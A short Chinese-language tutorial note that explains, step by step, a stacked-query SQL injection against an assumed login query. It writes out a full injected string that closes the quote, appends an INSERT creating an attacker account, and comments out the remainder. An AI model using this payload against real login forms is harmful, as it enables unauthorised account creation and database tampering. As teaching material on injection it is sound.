sql注入测试:
假设登陆的sql语句为:select * from SYS_USERS where USER_ACCOUNT = #{account}插入数据的语句为:insert into SYS_USERS (user_id, user_account, user_name, user_password, user_desc) values ('101','dzg','董光','dzg','我是攻击进来的用户')
现在我要做sql注入攻击,顺序如下:首先改造掉原来的查询语句,将
select * from SYS_USERS where USER_ACCOUNT = #{account}变成
select * from SYS_USERS where USER_ACCOUNT = '这是输入用户帐户';好让原来的sql顺利执行并且不报错;所以我要匹配原来的sql,给他增加一个 ,前面的 "'"可以肯定是存在的,后面的我自己补充,然后再加上一个";"号让这条语句结束,接着把我自己的sql接上最后再他原来查询用户的sql尾部注释掉,就是一个完整的sql攻击,如下得出最后的sql结果:select * from SYS_USERS where USER_ACCOUNT = '';insert into SYS_USERS (user_id, user_account, user_name, user_password, user_desc) values ('101','dzg','董光','dzg','我是攻击进来的用户') --';别忘记后面还有一个"--",还要将后续语句注释掉使用